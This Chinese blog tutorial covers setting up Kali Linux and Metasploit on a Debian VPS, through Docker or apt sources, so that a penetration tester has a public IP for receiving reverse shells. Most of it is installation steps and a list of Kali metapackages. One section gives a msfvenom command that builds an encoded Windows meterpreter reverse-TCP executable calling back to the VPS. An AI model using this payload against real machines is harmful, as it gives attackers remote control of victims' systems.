在vps上安装 kali linux

在渗透测试过程中,很多时候我们需要反弹一个shell回来。使用empire也好,MSF也好,其他工具也好,都避不开公网IP的问题。这时候我们就需要一个VPS来进一步进行渗透测试。
建立通道连接的方式有很多种,比如NAT映射、ssh隧道等各种方式,这里我们就不探讨了。
建立通道的不稳定性很高,容易断开,对网络安全爱好者来说是一种莫大的折磨。而且可能由于种种原因,购买不到KVM架构的VPS,无法直接在VPS上安装kali linux等渗透测试系统。下面介绍了几种在debian系统下安装kali linux的方法。配合使用screen,或者tmux等工具非常好用
首先我们为我们的VPS安装Debian 8
docker
Docker 是一个开源的应用容器引擎,让开发者可以打包他们的应用以及依赖包到一个可移植的容器中,然后发布到任何流行的 Linux 机器上,也可以实现虚拟化。容器是完全使用沙箱机制,相互之间不会有任何接口。
由于docker的运行环境中需要3.8+的内核,此方法不是特别适用,可使用uname -a来检查VPS的内核版本。比如小编的VPS厂商给出的镜像,内核版本只有2.6+。如果你的内核版本低于3.8,请略过该方法,往下看。
安装docker
在debian 8 下安装docker
使用
在docker中运行kali linux
kali linux官网中对此已有详细介绍,这里我们不在重复
较为推荐的方法—使用脚本直接安装工具
git地址:
使用方法
最原始却较为有效的解决方案—直接安装
这是小编一直在使用的方法,之前使用脚本安装kali的时候遇到了一些奇奇怪怪的问题,由于急需,所以后期也没有再升入的去研究,这里分享出来,在以上两种方法都不能解决问题的情况下作为一个备用方法来使用
首先我们修改源,将debian源直接换为kali的官方源
修改/etc/apt/sources.list文件,将内容全部删除,添入以下内容:
deb http://http.kali.org/kali kali-rolling main non-free contrib
deb http://http.kali.org/kali kali-rolling main non-free contrib
deb-src http://http.kali.org/kali kali-rolling main non-free contrib
然后运行:
apt-get update
运行之后我们会看到,报错了!!!
W: GPG error: http://http.kali.org kali-rolling InRelease: The following signatures couldn't be verified because the public key is not available: NO_PUBKEY ED444FF07D8D0BF6
这时候我们需要添加kali源的public key,对应内容,这里的KEYID是:ED444FF07D8D0BF6
那么我们就允许如下命令来添加公钥
apt-key adv --keyserver pgp.mit.edu --recv-keys ED444FF07D8D0BF6
 
给服务器添加公钥时报错如下:
gnupg, gnupg2 and gnupg1 do not seem to be installed, but one of them is required for this operation
uploading-image-303658.png

解决方法
在添加密钥之前执行
RUN apt-get update && apt-get install -y gnupg2
我们重新运行apt-get update
 
安装数字证书
使用apt-key list来查看下,发现有个keyring.gpg 过期了
下载新的文件
安装
apt install ./kali-archive-keyring_2018.1_all.deb
验证安装
apt-key list
 
安装数字证书
wget archive.kali.org/archive-key.asc //下载签名 apt-key add archive-key.asc //安装签名
 
apt-get update //更新包列表
 
成功检查更新。
接下来我们可以根据自己的选择安装所需要的副版
例如:
apt-get -y install kali-linux-full 将安装kali工具
apt-get -y install kali-linux-web 将安装所有和web相关的工具
这里小编选择安装web相关的工具
之后有一些东西需要去选择
大家可以根据自己的需求去安装(小编一般都是一路回车,除有些特殊情况需做选择)
等安装完成之后,按需升级一下软件包
apt-get update apt-get dist-upgrade
至此,我们的kali就算是安装完成了,配合screen或tmux等工具,我们将拥有一个具有所有kali功能的VPS。提高我们的渗透效率
tmux使用方法
 
Kali Linux 子工具集
kali-linux
kali-linux元数据包是Kali Linux的一个完全简单的安装,包括各种网络服务,如Apache和SSH,Kali内核,以及许多版本控制应用程序,如git,svn等。列出了所有其他元数据包下面还包含kali-linux。
我们官网默认下载的kali linux 2.5G左右的ISO就是指它。
安装大小:1.5 GB
 
kali-linux-full
当您下载Kali Linux ISO时,您实际上是在下载安装了kali-linux-full元数据包的安装。此软件包包含您在Kali中熟悉的所有工具。
安装大小:9.0 GB
 
kali-linux-all
为了保持我们的ISO尺寸合理,我们无法包含我们为Kali打包的每个工具,并且有许多工具根据硬件无法使用,例如各种GPU工具。如果要安装每个可用的Kali Linux软件包,可以安装kali-linux-all元数据包。
安装大小:15 GB
 
kali-linux-top10
在Kali Linux中,我们有一个名为“十大安全工具”的子菜单。 kali-linux-top10元数据包将一举为您安装所有这些工具。
安装大小:3.5 GB
 
kali-linux-forensic
如果您正在进行取证工作,则不希望分析系统包含大量不必要的工具。为了拯救,kali-linux-forensic元数据包只包含Kali中的取证工具。
安装大小:3.1 GB
 
kali-linux-gpu
GPU实用程序非常强大,但需要特殊硬件才能正常运行。出于这个原因,它们不包含在默认的Kali Linux安装中,但您可以使用kali-linux-gpu一次性安装它们并开始破解。
安装大小:4.8 GB
 
kali-linux-pwtools
kali-linux-pwtools元数据包包含40多种不同的密码破解实用程序以及kali-linux-gpu中包含的GPU工具。
安装大小:6.0 GB
 
kali-linux-rfid
对于正在进行RFID研究和开发的用户,我们有kali-linux-rfid元数据包,其中包含Kali Linux中提供的所有RFID工具。
安装大小:1.5 GB
 
kali-linux-sdr
kali-linux-sdr元数据包包含大量适用于您的软件定义无线电黑客需求的工具。
安装大小:2.4 GB
 
kali-linux-voip
很多人告诉我们他们使用Kali Linux进行VoIP测试和研究,所以他们很高兴知道我们现在有一个专用的kali-linux-voip元数据包,有20多个工具。
安装大小:1.8 GB
 
kali-linux-web
Web应用程序评估在渗透测试领域非常普遍,因此,Kali包含kali-linux-web元数据包,其中包含许多与Web应用程序黑客相关的工具。
安装大小:4.9 GB
 
kali-linux-wireless
与Web应用程序一样,许多渗透测试评估都针对无线网络。 kali-linux-wireless元数据包包含一个易于安装的软件包中所需的所有工具。
安装大小:6.6 GB
 
 
docker 中安装kali
0x02 安装docker
sudo apt-get install docker.io
0x03 安装kali及metasploit
下载kali镜像
docker pull kalilinux/kali-linux-docker
可以通过docker images命令查看你下载好的镜像。
这里kalilinux就是通过上一个命令下载好的,ID是你的镜像ID。msf镜像是我下面安装了metasploit后自己保存的镜像。这里不用管它
root@vultr:~# docker images
 
下载完成的kali是没有metasploit的,是一个基础版。所以先把kali的镜像挂载到容器里,运行kali。然后直接apt-get下载即可。
docker run -t -i kalilinux/kali-linux-docker /bin/bash //用镜像创建一个容器
 
然后它会立即创建并进入到这个容器中,也就是进入到kali中。
大概是这样的那一串字符串事你的这个容器ID
root@ce3df32899e1:/#
如果它提示这样的报错内容
  1. System error: mountpoint for devices not found;
  2. Couldn't run auplink before unmount: exec: "auplink": executable file not found in $PATH;
请执行apt install aufs-tools cgroup-lite,然后在运行上个命令创建容器。
0x04 安装metasploit
apt-get update && apt-get upgrade
apt-get install metasploit-framework
等安装完成后就可以进入metasploit了
msfconsole -L
 
然后exit退出msf退出kali,将这个容器保存为一个镜像。
docker ps -a 查看容器ID
  1. root@vultr:~# docker ps -a
  2. CONTAINER ID IMAGE COMMAND CREATED STATUS PORTS NAMES
  3. ce3df32899e1 msf:latest "/bin/bash" 6 hours ago Up 18 minutes 0.0.0.0:8888->8888/tcp agitated_tesla
  4. e56943810487 kalilinux/kali-linux-docker:latest "/bin/bash" 6 hours ago Exited (0) 4 hours ago kickass_darwin
  5. root@vultr:~#
docker commit e56943810487 msf将kali这个容器保存为一个镜像。
docker run -t -p 8888:8888 -i msf /bin/bash 将vps的8888端口与容器的8888端口映射上,方便反弹shell。端口自己随意设置。
这时候就可以愉快的使用公网ip玩metasploit了。
0x05 msf使用
做个简单示范
msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 5 -b ‘\x00’ LHOST=[vps公网ip] LPORT=8888 -f exe > a.exe
 
成功反弹shell
0x06 docker的常用命令
  1. docker run -t -i <image> 用镜像创建一个容器
  2. docker pull image 拉拽镜像
  3. docker images 查看可用镜像
  4. docker ps 查看运行的容器
  5. docker ps -a 查看所有的容器
  6. docker stop <container id> 停止该容器
  7. docker start <container id> 开始该容器
  8. docker attach <container id>与该容器交互
  9. docker commit <container id> <new id>创建新的镜像
  10. docker rm <container id> 删除容器
  11. docker rmi <image name> 删除镜像
  12. docker cp <containerId>:/file/path/within/container /host/path/target 从Docker容器内拷贝文件到主机上
 
 
 
debian8 换源直接安装metasploit
 
安装postgresql数据库
 
root@localhost:~# apt-get install postgresql
root@localhost:~# su - postgres -c "psql" #切换到postgres用户并登陆数据库
##有的教程中使sudo -u postgres psql也是可以的
postgres=# alter user postgres with password ‘postgrespass‘; #修改数据库密码为postgrespass
postgres=# \q #退出数据库
 
安装metasploit
 
root@localhost:~# apt-get install metasploit-framework
# 这里会装一大堆东西,而且会更新libc之类软件,如果你的系统还装有其它软件,请谨慎安装
 
配置metasploit
 
root@localhost:~# msfconsole
msf > db_connect postgres:postgrespass@127.0.0.1/msfbook #使msf连接到postgresql数据库
[*] Rebuilding the module cache in the background... #这句话的意思是在后台重建模块缓存。
msf > db_status #查看数据库连接状态
[*] postgresql connected to msfbook #这个时候就可以正常使用msf了。
 
msf > search smb
[!] Module database cache not built yet, using slow search
##如果出现了这个信息,意思是说数据库中没有模块的缓存,使用缓慢的搜索(直接搜索磁盘)。
##出现这个情况有可能是后台重建缓存未完成,只需稍等片刻再尝试,也可能是数据库连接不正常,
##导致无法重建/读取缓存。
posted @ 2019-08-22 18:40  micr067  阅读(1904)  评论(0编辑  收藏  举报